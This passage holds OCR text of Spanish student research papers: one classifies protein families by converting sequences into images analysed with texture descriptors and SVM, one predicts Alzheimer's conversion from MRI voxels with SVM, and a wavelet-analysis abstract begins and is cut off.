que constituye la proteina y un determinado valor numérico
que lo representa, en base a distintos criterios.

Un aspecto que es necesario clarificar antes de continuar
es que cada representacion estd formada por varios indices,
siendo cada uno de ellos una equivalencia distinta entre cada
uno de los 20 aminoécidos esenciales y su valor numérico
correspondiente. Por lo tanto se generardn por cada proteina
tantas cadenas numéricas distintas como nimero de indices
tenga la representacién en cuestion.

Las representaciones analizadas son las siguientes:

1) Representacion de 20 indices basada en medidas de
similitud: Sanchez et al. proponen en [7] una representacion
matemdtica de los aminodcidos que componen una proteina
basdndose en medidas de similitud derivadas de la matriz
de sustitucion de aminodcidos PAM250, siendo una PAM
(Point Accepted Mutation) en una proteina la sustitucién de
un aminodcido por otro, considerandose la mutacién como
la nueva forma dominante. Para que ésto ocurra el nuevo
aminodcido debe funcionar de forma similar al antiguo.

Los datos sobre las mutaciones se obtienen de darboles
filogenéticos, los cuales computan cuantas veces cambia un
aminodcido frente a su ndmero de ocurrencias. A partir
de estos datos se obtienen las matrices de probabilidad de
mutacién, que dan la probabilidad de que un aminoécido sea
reemplazado por otro en un intervalo evolucionario dado.

Basandose en el concepto de similitud entre aminoécidos a
partir de las matrices PAM se formula esta representacion for-
mada por 20 indices, cada uno de los cuales genera una sefial
que representa el grado de similitud entre los aminodcidos que
forman la proteina y uno de los 20 aminoacidos esenciales.

2) Representacion de 48 indices basada en propiedades de
los aminodcidos: Gromiha et al. proponen en [8] una serie
de 48 propiedades fisicas, quimicas, energéticas y de con-
formacion extraidas todas ellas del andlisis mediante cluster
realizado sobre la base de datos de aminodcidos AAindex.
Varias de las propiedades de los aminoacidos que se cuan-
tifican son la compresibilidad, la hidrofobia, la polaridad,
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el peso molecular, volumen, indice de refraccién, indice
cromatografico, pardmetros energéticos, hélices o o ldminas
[ entre otras.

Cada uno de los indices se representa con 20 valores
numéricos asociados a cada uno de los 20 aminoécidos,
cuantizando la propiedad que representa el indice en cuestion
para cada uno de ellos. Estos valores numéricos se encuentran
en la seccion I de cada entrada del AAindex 2.

El listado completo de los 48 indices asi como las equiva-
lencias numéricas puede consultarse en [8].

3) Representacion de 20 indices basada en PSSM:
Esta representacion estd basada en MSA (Multiple Sequence
Alignement), es decir, ver si hay alguna relacién entre los
aminodcidos de las proteinas que forman cada clase o familia
y su situacion concreta en la cadena, para asi buscar patrones
de posicién comunes. Ha sido demostrado que el alineamiento
multiple en proteinas da informacién de campos como la
localizacién de la proteina, su estructura (tanto secundaria
como terciaria, fundamentales para saber la funcién que
realiza la proteina) o su actividad quimica.

Una de las principales formas de representaciéon de MSA
es a través de las PSSM (Position Specific Scoring Matrices),
las cuales indican la frecuencia de la aparicién de cada tipo
de aminoécido en cada una de las posiciones de la cadena que
constituye la proteina. Puede deducirse pues, que existirdn en
este método 20 indices, uno por cada uno de los aminoacidos
bésicos.

La forma mas simple de construir una PSSM es com-
putando la frecuencia de aparicidon de cada aminodcido en una
posicién especifica de un grupo de proteinas. Normalmente
ningin valor en la matriz se considera nulo, ya que eso
implicaria la no apariciéon de un aminodcido especifico en
una posicién de la cadena. Se suele recurrir al uso de nimeros
muy pequefios en esos casos para que no sean valores nulos
(pseudo-counts).

Para la obtencién de los 20 indices de cada proteina anal-
izada por este método se ha utilizado el programa HHblits?
[9], perteneciente a la suite de HHstudio (software libre). En
este programa las proteinas introducidas son agrupadas en
conjuntos alineables, generandose a partir de ellos MSA con
perfiles HMM (Modelos Ocultos de Markov), otra forma de
representar los MSA parecida a las PSSM. La matriz PSSM
se obtiene dividiendo las propiedades proporcionadas por
HHblits entre la probabilidad de ocurrencia del aminoacido
(esta normalizacién es optativa a la hora de obtener las
cadenas numéricas).

4) Representacion con 3 indices basada en prediccion de
estructura secundaria: Las proteinas tienen varios niveles de
organizacion, los cuales determinan la forma que ésta toma y
por tanto repercuten directamente en la funcién que ejecuta. El
nivel de organizaciéon mas simple es la cadena de aminoécidos
(estructura primaria), con el que trabajamos en este proyecto.
La estructura secundaria, la cual utiliza esta representacion,
consiste en la agrupacién de aminodcidos en pequeiias formas
como pueden ser la hélice «, la 1amina S o espirales.

Esta nueva representacién se basa en sustituir cada
aminodcido de la cadena por la probabilidad de que éste

Zhttp://www.genome.jp/aaindex/
3https://toolkit.tuebingen.mpg.de/hhblits
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pertenezca a un elemento de la estructura secundaria (hélice
«, lamina 8 o espiral). Por lo tanto se utilizardn 3 indices
distintos, obtenidos mediante el uso de un programa externo,
PsiPred* (software libre) [10].

C. Formacion de la imagen

Una vez obtenidas las cadenas numéricas correspondientes
a los indices mediante los que se representa la proteina, se
generard a partir de cada una de ellas una imagen que serd
posteriormente sometida a la extraccién de caracteristicas, es
decir, se obtendrdn por cada proteina tantas imigenes como
indices tenga la representacion.

En este trabajo se han utilizado dos métodos distintos para

la formacién de la imagen:

« M¢étodo PR: este sencillo método propuesto en [4] per-
mite, una vez obtenida la cadena numérica correspon-
diente a una proteina utilizando un indice concreto de
cualquier representacion, x, crear una matriz donde cada
elemento (i,7) sea la suma de los valores numéricos de
esta sefal, de longitud L, ubicados en las posiciones %
y j (ecuacién 1). Posteriormente, si la imagen tiene un
tamafio superior a 250x250, es redimensionada a este
tamafo.

PR(i,7) = z(i) + z(j); donde {i,j} =1,2,...,L (1)

(a) Proteina P31996

(b) Proteina Q8TCB6

Fig. 2: Representacion PR.

o Transformada wavelet: la transformada wavelet es una
herramienta matemadtica que ofrece la posibilidad de
examinar una sefial simultineamente en el dominio
del tiempo y de la frecuencia. El andlisis mediante
transformada wavelet estd siendo o ha sido aplicado
en la investigacion de diferentes fendmenos, desde el
andlisis del clima a un andlisis financiero, pasando por
monitorizacion del corazoén, filtrado de ruido sismico
o compresién de imdgenes y sefiales, por ejemplo.
Matematicamente hablando, la transformada wavelet es
la convolucién de la funcién wavelet (onda pequeiia que
cumple ciertas condiciones, la cual puede moverse en
el tiempo y ensancharse o estrecharse) y la sefial que
se pretende analizar. Aunque las sefiales que se analizan
frecuentemente suelen depender del dominio temporal, se
puede intercambiar este dominio por el espacial, como
es el caso de este trabajo.

“http://bioinf.cs.ucl.ac.uk/psipred/
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El resultado final de realizar la transformada wavelet
a una sefal es una imagen donde se representa, para
distintos niveles de dilatacién y desplazamiento, cuanto
se adapta la wavelet madre a la sefial analizada. En
este trabajo se utilizard para obtener esta transformada
la funcién cwt de Matlab, introduciendo como entrada
la cadena numérica correspondiente, la wavelet madre
Meyer asi como 100 coeficientes de dilataciéon. Cabe
destacar que en este método no se produce ningun redi-
mensionado de la imagen, es dependiente de la longitud
de la proteina.

(a) Proteina P31996

(b) Proteina Q8TCB6

Fig. 3: Representacion CW.

D. Descriptores de texturas

Una vez tenemos las N imdgenes asociadas a la proteina
(tantas como indices tenga la representacion), debemos aplicar
sobre cada una de ellas un descriptor de texturas, obteniendo
un vector de caracteristicas por imagen. El vector de carac-
teristicas asociado a la proteina es la concatenacién de los N
vectores de caracteristicas resultantes.

A continuacion se describirdn brevemente los descriptores
de texturas utilizados en este trabajo:

1) Local Phase Quantization: El operador LPQ fue prop-
uesto por primera vez como descriptor de texturas en 2008
de la mano de Ojansivu y Heikkild [11]. Su principal car-
acteristica es la robustez que ofrece ante imagenes borrosas,
gracias a la propiedad de invarianza frente a este problema que
presenta la fase del espectro en frecuencia obtenido al hacer
la transformada discreta de Fourier de este tipo de imédgenes.

El procedimiento del descriptor es el siguiente: en primer
lugar se le aplica a la imagen que se va a analizar la DFT
en 2-D tomando 4 frecuencias bidimensionales que cumplan
la invarianza de fase, obteniéndose tanto los coeficientes de
la transformada como la matriz de transformacién. Asum-
iendo que la imagen analizada es un proceso de Markov
de primer orden se obtiene la matriz de covarianza de la
DFT multiplicando la matriz de covarianza del proceso de
Markov por la matriz de transformacién. A través de la
descomposicion en valores singulares de la matriz resultante
aplicamos un filtro de blanqueo a la matriz de coeficientes
de la transformada. Finalmente, se binarizan los coeficientes
resultantes y se computa un histograma, el cual serd el vector
de caracteristicas resultante de este método.

2) Local Binary Pattern Histogram Fourier Features: El
descriptor presentado por T. Ahonen et al. en 2009 [12] ofrece
una innovadora visidn sobre los descriptores LBP (Local Bi-
nary Pattern), incluyendo una novedosa compensacién global
de la rotacién que no implica una pérdida de la informacién
relativa a las diferentes orientaciones de la imagen.

LBP (Local Binary Pattern) es un operador utilizado como
descriptor de imagenes el cual estd basado en el signo de la
diferencia de pixeles vecinos a una distancia definida del pixel
que se pretende analizar y ese mismo pixel. El valor o etiqueta
LBP de cada pixel de la imagen y sus vecinos se obtiene
calculando la salida de la funcién umbral (ecuacién 3) cuando
la entrada es la diferencia del nivel de la escala de grises entre
ellos, multiplicado por la potencia de 2 correspondiente a la
posicién de cada muestra vecina. La ecuacidén que modela lo
anteriormente dicho es la siguiente:

i

LBPpRr(z,y) = )  s(f(xp,yp) = f(z,9))2" ()

3
I
o

siendo s(z) la funcién umbral

s(z) = 1 s?zZO 3)
0 siz<0

Cada etiqueta es un valor binario que posteriormente se
computard formando un histograma. Para conseguir la invar-
ianza a la rotacién, con fundamento tedrico en los desplaza-
mientos ciclicos de la Transformada de Fourier, se aplica dicha
transformada al histograma anterior y se calcula su mddulo,
para asi obtener el vector de caracteristicas asociado a este
método.

3) Binary Gabor Pattern: El descriptor de texturas BGP
(Binary Gabor Pattern) [13] estd inspirado en el éxito de un
descriptor sencillo como es LBP, pero difiere de éste en que
mientras que LBP computa la diferencia entre pixeles vecinos,
BGP lo hace entre regiones, consiguiendo mayor robustez al
ruido.

Podemos describir los filtros de Gabor como una onda sinu-
soidal plana la cual tiene una frecuencia espacial y orientacién
multiplicada por una envolvente gaussiana bidimensional. Se
suelen expresar de forma matemadtica (ecuacidn 4) separando
los que ofrecen simetria par e impar (even-symmetric y odd-
symmetric ).

1 I/Z y/2 s ,
oo =ear (3 (5 + o) ) s (57

1 x/2 y/2 ) 1T ,
o= (-5 (5 o))+ (57)

donde 7' = wcosf + ysinf,y’ = —xsinf + ycosh, A
representa la frecuencia de la sinusoide, 6 la orientacién de
la normal a las lineas paralelas de la funcién de Gabor, o es
la desviacion tipica de la envolvente gausiana y -y es el factor
de forma, que establece la relacién entre el ancho de banda
angular y radial.

El primer paso del descriptor de texturas es la creacién
de un banco de filtros donde go,91,...,97_1 son J filtros
de Gabor (cada uno con sus dos expresiones segin las

“
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ecuaciones de 4) que comparten los mismos pardmetros
excepto el parametro de orientacion 6, que tomara valores
{0; = jm/J :| =0,1,...,J — 1}. Suponiendo un radio fijo
para la mascara de los filtros, R, se aplican todos los filtros en
cada uno de los puntos de la imagen, obteniéndose el vector
respuesta {r = r; :|j = 0,1,...,J — 1}. Posteriormente
se binarizard tomando valores entre 0 y 1, dando lugar al
vector binario {b = b; :[j = 0,1,...,J — 1}. Cada etiqueta
binaria es sometida a la funcién ROR para reducir el nimero
de valores y conseguir invarianza a la rotacion. Después de
esta operacion se computa el histograma.

Todo este proceso se realiza para tres resoluciones distintas
de los filtros. Posteriormente se concatenan todos los histogra-
mas obtenidos, que formaran el vector de caracteristicas para
cada imagen asociado a este descriptor.

E. Clasificacion

Una vez obtenidos todos los vectores de caracteristicas
asociados a las proteinas de la base de datos que estemos
analizando (tanto al subconjunto de entrenamiento como al
subconjunto de testeo), es hora de entrenar el clasificador.
Para ello se han usado maquinas de vectores de soporte o
en inglés support vector machines, abreviadas cominmente
como SVM. Las SVM son un conjunto de algoritmos de
aprendizaje automdtico supervisado mediante los cuales, a
partir de un conjunto de muestras de entrenamiento o frain
etiquetadas en clases, se puede definir un modelo que prediga
las clases de nuevas entradas no documentadas anteriormente.
La separacién entre clases se consigue a través de la obtencion
de un hiperplano 6ptimo que las delimite en espacios de
distinta dimensionalidad, normalmente muy alta, donde la
informacidn es proyectada por medio del uso de los llamados
kernels.

Una vez obtenido el clasificador a partir de la base de datos
de entrenamiento, se comprueba su precision observando si
clasifica correctamente el subconjunto de testeo.

Como optimizacién al método se han escogido los
pardmetros del kernel mediante bisqueda de rejilla y vali-
dacion cruzada [15].

En este trabajo se ha utilizado, tanto para entrenar y crear
las maquinas de vectores de soporte como para su posterior
testeo, la librerfa LIBSVM? [15], compatible con Matlab.

III. RESULTADOS

En las tablas I y II pueden observarse las precisiones
obtenidas para cada una de las combinaciones representacién-
generacion de imagen-descriptor de texturas para las bases de
datos GRAM y MEM.

Sobre ellas hay que hacer algunas observaciones. La
primera de ellas estd en la tabla I, donde puede observarse una
quinta representacién formada por 23 indices. Esta es fruto de
concatenar los vectores de caracteristicas de la representacién
de 20 indices basada en PSSM y la de 3 indices de prediccion
de estructura secundaria. Por otro lado, en la tabla II faltan
tanto la representacion de 3 indices basada en prediccion de
estructura secundaria como la de 23 indices. La explicacién de
su ausencia es que el programa externo encargado de generar

Shttps://www.csie.ntu.edu.tw/~cjlin/libsvm/
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las cadenas numéricas, PsiPred, tiene un coste computacional
tan alto que para analizar una base de datos tan grande
como MEM tarda varios meses, por lo que no resultaba
productivo esperar tanto tiempo teniendo en cuenta que habia
otras representaciones que en menor tiempo ofrecian mejores
resultados.

IV. CONCLUSIONES
A. Andlisis de los resultados

En los andlisis realizados se llega a las siguientes conclu-
siones:

e En la base de datos GRAM la representacion de 20
indices basados en informacién evolutiva no funciona
demasiado bien con el método de generacién de imagen
PR, aunque si que se obtienen mejores resultados con
CWT.

o La representaciéon de 20 indices basada en PSSM es
la que ofrece los mejores resultados con respecto a las
otras representaciones. El principal inconveniente es que
para la generacién de cadenas numéricas depende de un
programa externo, HHblits. Con esta representacién se
obtiene el maximo de precisiéon para GRAM, 81.47%
utilizando la generacién de imagen CWT y el descriptor
de texturas LBP.

o La representacion de 48 indices basada en propiedades
bioquimicas presenta buenos resultados a costa de mu-
chos elementos en el vector de caracteristicas de cada
proteina, lo que implica mucho tiempo de procesado.
Queda sobrepasada por la representacion PSSM, que
obtiene mayor precision con menos indices y por tanto
menos tiempo de computacion.

o La representaciéon de 3 indices basada en prediccion
de estructura secundaria obtiene unos resultados bas-
tante buenos para sélo constar de 3 indices (vectores
de caracteristicas relativamente pequefos). Su principal
desventaja es la complejidad y lentitud del programa ex-
terno que hace falta para obtener las cadenas numéricas,
PsiPred. La combinacién de esta representacién con la
de PSSM no produce mejoras sustanciales.

o A diferencia de la base de datos GRAM, en la base de
datos MEM los mejores resultados se obtienen con el
método de generacién de imagen PR, frente a CWT en
GRAM. Se observa también que el descriptor de texturas
que mejores resultados ofrece es BGP, tanto para PR
como para CWT, el cual ha sido propuesto por primera
vez para el andlisis de imdgenes proteicas en este trabajo.

o Larepresentacion de 48 indices en la base de datos MEM
presenta los mismos inconvenientes que en GRAM, sigue
siendo superada por la representaciéon de 20 indices
basada en PSSM. Esta representacién vuelve a ser la
que mayor precisién ofrece para esta base de datos,
92.20% para el método de generacion de imagen PR y
el descriptor de texturas BGP.

Las nuevas representaciones, combinaciones de métodos
para generar imdgenes y descriptores de texturas propuestas
han sido un éxito , ya que se ha superado, en algunos casos
con creces, la precision de los clasificadores del articulo que
dio origen a este trabajo ([4]).
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Tabla I: Resultados GRAM, comparativa de métodos y representaciones.

Método 20 indices - Sanchez | 48 indices - Gromiha | 20 indices - PSSM (no norm) | 3 indices - Estructura secundaria | 23 indices (PSSM + SS)
PR + LPQ 54.74 65.52 75.00 63.79 79.74
PR + LBP 52.59 65.09 78.45 67.24 80.17
PR + BGP 62.93 76.29 79.31 71.55 80.60

CWT + LPQ 79.74 81.03 79.31 72.41 78.88
CWT + LBP 75.43 80.17 81.47 67.67 78.88
CWT + BGP 73.28 77.16 78.02 71.55 80.60
Tabla II: Resultados MEM, comparativa de métodos y representaciones.
Método 20 indices - Sanchez | 48 indices - Gromiha | 20 indices - PSSM (no norm)

PR + LPQ 74.20 76.64 82.53

PR + LBP 79.04 74.20 88.68

PR + BGP 86.68 85.57 92.20

CWT + LPQ 82.97 85.67 89.45

CWT + LBP 83.57 86.40 89.66

CWT + BGP 84.54 87.28 90.30

B. Trabajo y vias futuras

En primer lugar, en este trabajo nos hemos centrado en
un nimero limitado de familias de proteinas (13 sobre mas
de 16000 posibles), por lo que se propone para un futuro la
posibilidad de hacer un clasificador completo, entrenado con
las familias restantes para asi conseguir clasificar cualquier
proteina. El principal problema que esto presenta es la dis-
paridad de tamafios que presentan dichas familias, lo cual hace
complicado un modelado valido.

Ante el gran nimero de caracteristicas que se generan por
cada vector se sugiere la aplicacion de algun tipo de reduccién
de caracteristicas, ya que muchas de ellas son redundantes,
siempre que éste no genere variables no correladas que
eliminen la relacion entre familias.

Ante el gran volumen de datos que se tiene que procesar se
propone también el uso de deep learning en lugar de SVM, ya
que trabaja mejor con grandes cantidades de informacién. El
problema vuelve a ser la disparidad de tamafio de las familias,
ya que las redes profundas necesitan de una gran cantidad de
datos para ser entrenadas.

Finalmente se sugiere combinar las caracteristicas obtenidas
con la representacion de proteinas como imagenes con la
representacion de éstas como sefiales unidimensionales, asi
como con la reciente representacion de proteinas como sefales
tridimensionales, y observar si la precisién del clasificador
mejora sustancialmente.
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Resumen—La enfermedad de Alzheimer (AD) es la causa mas
comin de demencia en nuestros dias. Alrededor de 44 millones
de personas sufren de esta enfermedad neurodegenerativa. Con
el avance de la tecnologia se puede dar una ayuda a los
doctores que diagnostican esta enfermedad para diagnosticar
prematuramente y aumentar la calidad de vida de las personas
que sufren Alzheimer. En este trabajo se implementa una técnica
sobre el diagnostico precoz de pacientes que sufren deterioro
cognitivo leve (MCI) y que desarrollan Alzheimer mediante
el algoritmo de clasificacion SVM. Con esta técnica se puede
observar el avance de la enfermedad y predecir mediante un
estudio longitudinal de la distancia al hiperplano de clasificacion,
si un paciente desarrollara Alzheimer. La informacion utilizada
es el valor de la intensidad de los voxeles que componen las
imagenes MRI de cada paciente. Los resultados alcanzados de
acierto de prediccion sobre pacientes MCI converters es del
75.8 %.

Palabras clave—Enfermedad de Alzheimer, maquinas vectores
soporte, imagenes de resonancia magnética (MRI), prediccion,
deterioro cognitivo leve, sesion de conversion.

I. INTRODUCCION

Con el avance de la tecnologia y de los sistemas de
céomputo se han incrementado el nimero de estudios que
intentan desarrollar técnicas para el diagndstico precoz de
la enfermedad de Alzheimer. Esta enfermedad tiene un gran
repercusiéon mundial ya que 44 millones de personas sufren
estdn enfermedad siendo la enfermedad mas comun en Europa
Occidental y Norte América. Solo una de cada cuatro personas
que sufren Alzheimer son diagnosticadas prematuramente. La
calidad de vida de estas personas diagnosticadas es mucho
mayor de las que no lo son, por tanto un diagndstico precoz
es de gran utilidad. Dada la importancia de diagnosticar a un
paciente con deterioro cognitivo leve lo antes posibles, surge
la idea de realizar este estudio y proponer una técnica de
diagnosis precoz basada en la clasificaciéon mediante SVM o
Maquinas de Vectores Soporte. Este algoritmo de clasificacion
elige el mejor hiperplano de separaciéon entre dos clases
atendiendo a maximizar el margen de separacion minimizando
los elementos de entrenamiento contenidos en él.

Este clasificador intenta predecir el desarrollo de un pacien-
te hacia la enfermedad de Alzheimer mediante la observacion
de su distancia al hiperplano de separacién entre las dos
regiones fundamentales: region perteneciente a los pacientes

que no sufren la enfermedad, es decir, Normales y la region de
pacientes que padecen Alzheimer. Un paciente con deterioro
cognitivo leve que desarrolla Alzheimer (MCI-converter) debe
comenzar en la regién correspondiente a los sujetos Normales
y avanzar hacia la frontera del hiperplano hasta sobrepasarla,
momento de la conversidn, y seguir avanzando dentro de la
regiéon de los AD aumentando su distancia con respecto al
hiperplano. Los vectores de caracteristicas que identifican a
cada paciente estdin compuestos por determinados voxeles de
la base de datos MRI. La eleccién de estos voxeles es de gran
relevancia ya que deben contener las zonas cerebrales que
caracterizan el desarrollo de la enfermedad de esta forma, el
clasificador puede identificar y representar de manera correcta
el avance de un MCI-converter.

II. BASE DE DATOS

La base de datos que se ha utilizado ha sido la de ADNI
(Alzheimer’s Disease Neuroimaging Initiative) en su primera
fase, es decir, ADNII. Esta base de datos contiene imagenes
MRI de pacientes con diferentes estados de salud divididos en:
Normal, MCI y AD. Dentro del grupo de los MCI se encuentra
un subdivision entre los MCI converters, los cuales desarrollan
Alzheimer, y los MCI non-converters o también llamados
MCI estables, los cuales no desarrollan la enfermedad de
Alzheimer. Para el desarrollo de este trabajo se han utilizado
un total de sujetos de la base de datos completa de: 20 sujetos
AD, 20 sujetos Normal y 37 sujetos MCI donde 4 son MCI
non-converters. Cada uno de estos pacientes posee un estudio
longitudinal, es decir, diferentes sesiones de evaluacién donde
cada una de ellas contiene imdgenes MRI tanto de la materia
blanca como de la materia gris en ese instante de tiempo.

III. METODOS
A. Seleccion de caracteristicas y grupos de comparacion

La composicion de los vectores de caracteristicas se realiza
mediante véxeles tanto de la materia blanca como de la
materia gris ya que ambos tipo de materia cerebral pueden
aportar informacién util. La seleccion de estos voxeles dentro
del conjunto total que forman la imagen MRI es llevada a cabo
mediante el test-t aplicado al grupo compuesto por 20 sujetos
con etiqueta Normal y 20 sujetos con etiqueta AD. El test-t se
aplica a cada conjunto de 40 véxeles (20 correspondientes a
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los sujetos Normal y 20 correspondientes a los AD) haciendo
esto para todos los voxeles que forman la imagen. Una vez
obtenidos el conjunto de valores al aplicar el test-t a cada
posicion del voxel tanto de materia blanca como materia gris,
seleccionamos los 200 valores mds altos ya que son los que
mayor informacién aportan y con estos construimos los vector
de caracteristicas utilizados para construir el hiperplano de
clasificacion.

Se realizan dos pruebas para comparar los voxeles escogi-
dos por el test-t en su proceso de selecciéon. La modificacion
realizada en el proceso de seleccién es que en una primera
prueba el grupo formado por los sujetos AD utilizardn los
voxeles de las imdgenes MRI de su segunda sesién (6 meses
después de su primera evaluacién) y en la segunda prueba
se utilizard el conjunto de sujetos AD pero de su tltima
sesion (24 meses después de su primera evaluacién). De esta
forma, vemos qué zonas seleccionadas son mds importantes
en el desarrollo de la enfermedad y capaces de distinguir si
un sujetos MCI padece la enfermedad o si por el contrario,
permanece estable.

B. Prediccion y correccion del bias

La prediccién por clasificacion SVM se basa en la elec-
cién de los voxeles del vector de caracteristicas sea lo mas
representativa posible del avance de la enfermedad para que
el clasificador identifique de forma prematura a los sujetos
MCl-converter mediante la informaciéon contenida en estos
voxeles. La representacion en el espacio utilizado por SVM
debe verse como el elemento etiquetado como MCI se acerca
al hiperplano entrenado con vectores de entrenamiento de
sujetos AD y Normales; y sobrepasa la frontera de separacion
de ambas regiones sesiones antes de la sesién de conversion
determinada por el doctor.

Existe la posibilidad de que el elemento haya realizado
el movimiento descrito pero el instante de clasificacién que
marca su conversion sea posterior al marcado por el doctor.
En este caso se puede realizar una modificacién en uno de
los pardmetros de la ecuacién del hiperplano, el pardmetro
de bias, para modificar la posiciéon del clasificador. Esta
modificacién se implementa mediante la adicién de un factor
On a la ecuacién que define el hiperplano (1) representada
por su vector de coeficientes W y su bias, Wy. El vector X
representa el vector de caracteristicas de un elemento evaluado
por el clasificador.

WIX + Wy +0y =0 (1)

La nueva posicién del hiperplano depende de las distancias
del sujeto con respecto al hiperplano anteriores a la correccién
de la posicion, de esta forma se puede determinar la sesién
de conversion de forma prematura utilizando informacién del
pasado del paciente. Esta correccién causal estd basada en
el sentido de desplazamiento del elemento que representa al
sujeto MCI. Si este desplazamiento se realiza acercandose al
hiperplano se realiza una adicién al bias de la ecuacién del
hiperplano para disminuir la distancia entre ellos y determinar
con anterioridad el instante de conversion. Si por el contrario
la distancia que separa al elemento del hiperplano de clasifi-
cacion se mantiene o aumenta, no es indicador de deterioro

y por tanto no se realiza ninguna modificacién en el bias.
La ecuacién (2) es la propuesta y utilizada para corregir la
posicion del hiperplano:

1 N
= — E A 2
6]\7 Nn:1 n ()

donde el factor de correccidon propuesto es dy, N representa
el indice de la sesion en la que se aplica la correccion del bias
y A,, aporta la informacion del desplazamiento entre sesiones
como la diferencia de la posicién del elemento que representa
al sujeto entre dos sesiones de evaluacién consecutivas.

C. Clasificacion y evaluacion del clasificador

El hiperplano de clasificacién se entrena con las clases AD
y Normal y sobre €l se evalian el grupo de validacién formado
por la clase MCI. En la clasificacién de cada elemento de
validacién a través de sus sesiones se obtendrd tanto la
etiqueta asignada por el clasificador como la distancia al
hiperplano. Si las etiquetas asignadas por clasificador SVM
durante las sesiones de MCI es coherente, es decir, hay como
mucho un cambio de etiqueta se observard si este cambio se
ha producido antes de la sesién de conversién y por tanto es
un acierto; o de lo contrario se ha producido después y por
lo tanto se le aplicara una correccién del bias.

Ademas para observar como de bien clasifica el hiperplano
entrenado con el grupo de sujetos sobre el que se construye, se
realiza una validacién cruzada LOO sobre cada elemento de
entrenamiento y a lo largo de sus sesiones. Se calculara tanto
la sensibilidad como la especificidad. En esta clasificacion
se incluye en el entrenamiento los MCI estables modificando
su etiqueta a Normal para ver si clasificador identifica co-
rrectamente a un MCI estable desconocido y no altera los
porcentajes de acierto en clasificaciéon de elementos AD y
Normal.

IV. RESULTADOS Y DISCUSION

Se realizan dos situaciones de clasificacién: entrenamiento
con sujetos AD en etapa temprana y entrenamiento con sujetos
AD en etapa avanzada. En ambas situaciones se realizan las
mismas pruebas de clasificacion y se calculan las medidas
de acierto. En primer lugar, se muestra los resultados de la
sensibilidad y especificidad de la validacién cruzada LOO a
través de la clasificacién de sujetos AD y Normal (Tabla I).

Tabla I
RESULTADOS OBTENIDOS DE LA VALIDACION CRUZADA LOO SOBRE LAS
CLASIFICACIONES REALIZADAS CON EL ENTRENAMIENTO DE SUJETOS
AD EN ETAPA TEMPRANA Y TARDIA.

Prueba Sensibilidad( %) Especificidad( %)
AD tardio 89.5 475
AD temprano 100 100

En la tabla I se puede ver como ambas pruebas obtiene
alto porcentaje en la sensibilidad pero sin embargo para la
prueba con el entrenamiento con elementos AD en sesiones
tardias, se obtiene una especificidad muy baja. Si observamos
dénde se comenten estos errores, se puede ver que muchos se
cometen en la clasificacién errénea de las primeras sesiones
de clasificaciéon de los sujetos AD que el clasificador los
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identifica como Normal. Esto se debe a que el clasificador
selecciona las caracteristicas mds relevantes al comparar su-
jetos Normal con sujetos AD en su tdltima sesién, y estos
voxeles seleccionados son determinantes para la clasificacion
de sujetos con Alzheimer en estado avanzado pero no son
determinantes ni caracteristicos para sujetos donde la enfer-
medad estd comenzando. Sin embargo, cuando el clasificador
entrena con sujetos AD pertenecientes a las primeras sesiones,
clasifica bien tanto sujetos con Alzheimer en sus primeras
etapas como ya avanzados. La razén es que un sujeto con
Alzheimer ya evolucionado comparte las mismas zonas del
cerebro (voxeles) que son dafnadas por la enfermedad en sus
primeras etapas y que son diferenciales cuando se compara
con un sujeto Normal; y por tanto caracterizan a sujetos
con Alzheimer tanto en estado inicial como avanzado. Cabe
decir también que cuando se entrena con AD en sus primeras
sesiones el clasificador realiza existdsamente la distincion
entre los sujetos MCI estables asigndndoles la etiqueta de la
clase Normal.

Una vez evaluados los hiperplanos de clasificacién con los
que se va a clasificar los elementos MCI, pasamos a su clasi-
ficacién por sesiones. Esta clasificaciéon que ademads predice,
arroja unos resultados del 75.8 % de acierto de prediccién
para el hiperplano de clasificacién entrenado con sujetos AD
en fase temprana. Mientras que los resultados de clasificacion
utilizando el grupo AD en sus ultima sesidn, se necesita en
la mayoria de ellos una correccién del bias del hiperplano
ya que se determina tarde su sesion de conversion, posible
consecuencia de su baja especificidad comentada. Aplicando
una correccién del bias, se obtiene un acierto de prediccién
del 60.6 %.

La figura 1 y 2 muestra desde distintas perspectivas un
ejemplo de recorrido realizado por un elemento que representa
un sujeto MCI converter a lo largo de su sesiones. Cuya sesion
de conversién determinada por el hiperplano es la tercera (12
meses después de la primera evaluacién) y la determinada
por el doctor es la cuarta (24 meses después de la primera
evaluacion).

Normal
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Figura 1. Perspectiva tridimensional del movimiento de un sujeto MCI
situado en el espacio de trabajo de SVM y cuya sesién de conversién es
la tercera

Los 200 voéxeles seleccionados para formar los vectores
de caracteristicas de ambas situaciones analizadas, recogen
dreas cerebrales distintas. De acuerdo con la divisién rea-
lizada por el altas ALL [7], los vectores de caracteristicas
formados a partir del grupo de sujetos AD en etapa avanzada
contiene la mayoria de sus voéxeles seleccionados de las
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Figura 2. Perspectiva bidimensional del movimiento de un sujeto MCI

situado en el espacio de trabajo de SVM y cuya sesién de conversién es
la tercera

regiones del nicleo caudado, cingulado anterior, hipocampo
y parahipocampo; ademds de la presencia de algunos voxeles
pertenecientes a la amigdala y al 16bulo temporal. En cambio
con la formacién de vectores de caracteristicas a partir de
sujetos AD en su etapa temprana, la mayor presencia de
voxeles es de las regiones del hipocampo y parahipocampo
asi como del 16bulo occiptal izquierdo. Una ultima diferencia
encontrada entre la construccién de ambos vectores de carac-
teristicas es la mayor utilizacion de voxeles pertenecientes a la
materia blanca (76 de 200) cuando se utilizan el grupo de AD
avanzado, mientras que solo 27 de los 200 véxeles de materia
blanca son utilizados cuando se fija el grupo AD precoz. Por
tanto, la enfermedad de Alzheimer afecta en mayor medida a
la materia gris en sus primeras etapas como asi lo refleja los
estudios médicos realizados [8].

V. CONCLUSIONES

Con la clasificacién mediante el algoritmo SVM se puede
analizar el desarrollo de la enfermedad pudiendo diagnosticar
de forma precoz con un 75.8 % de acierto los casos de sujetos
MCI que desarrollan Alzheimer. Ademds con el estudio de
las dos situaciones propuestas, se ha podido comprobar en
qué etapa de los sujetos AD la informacién de sus imagenes
MRI es maés relevante para la seleccién de areas del cerebro
determinantes en el comienzo de la enfermedad. Siendo los
sujetos AD en fase temprana los que mayor informacién
aportan. Por dltimo se ha observado de dénde pertenecen
las regiones cerebrales escogidas por el test-t en ambas
situaciones, existiendo diferencias notables entre las regiones
y el tipo de materia cerebral que pueden ser reveladoras en
la forma en la que se desarrolla la enfermedad de Alzheimer.
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Resumen— En este proyecto se describe una técnica que permite
la separacion de una sefial en componentes que tienen una
polarizacion coherente y una frecuencia determinada. Esta
técnica estd basada en la Transformada Wavelet, la cual permite
analizar una sefial en el dominio tiempo-frecuencia. Es decir, es
